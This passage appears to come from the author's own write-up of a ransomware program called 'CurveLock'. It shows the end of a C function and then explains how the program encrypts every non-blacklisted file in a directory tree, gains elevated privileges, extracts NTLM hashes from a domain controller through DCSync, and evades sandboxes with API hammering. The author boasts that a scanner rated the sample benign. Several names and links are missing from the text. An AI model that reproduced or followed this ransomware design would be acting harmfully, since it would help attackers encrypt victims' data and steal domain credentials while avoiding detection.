FindClose(hFind);
return TRUE;
}
Purpose: Recursively traverses a directory tree starting at szDirectoryPath
.
Behavior:
Builds a wildcard (“<dir>\*”
).
For each entry:
Skips "."
/".."
.
If it’s a directory, recurse.
Otherwise, calls ReplaceWithEncryptedFile
and increments *fileIndex
.
Result: Encrypts all non-blacklisted files under the path.
If not being run as admin, it exploits by to create a new process with high integrity token.
Exploits DcSync using the tool by to extract username and NTLM hash combinations from the domain controller and parses it.
API-Hammering is an anti-sandbox technique that involves repeatedly calling some benign WinAPIs to obfuscate the call stack of the malware. Sandbox measures such as and get confused upon seeing the obfuscated call stack and mark the binary as benign. I analyzed CurveLock in malcore and it mistakenly marks it as benign. See the report here -> .
CurveLock exploits by for privilege escalation. Here is how it works as per Fortra -
CurveLock utilizes DCSync using tool by to extract NTLM hashes from the domain controller. CurveLock assumes that the user account context in which it is being executed is an domain admin or has DCSync rights. The extracted NTLM hashes and username combinations are parsed and stored in a structure along with the domain name for later use.
I thank for providing me with knowledge to build this malware. I would also like to thank and for and POC respectively.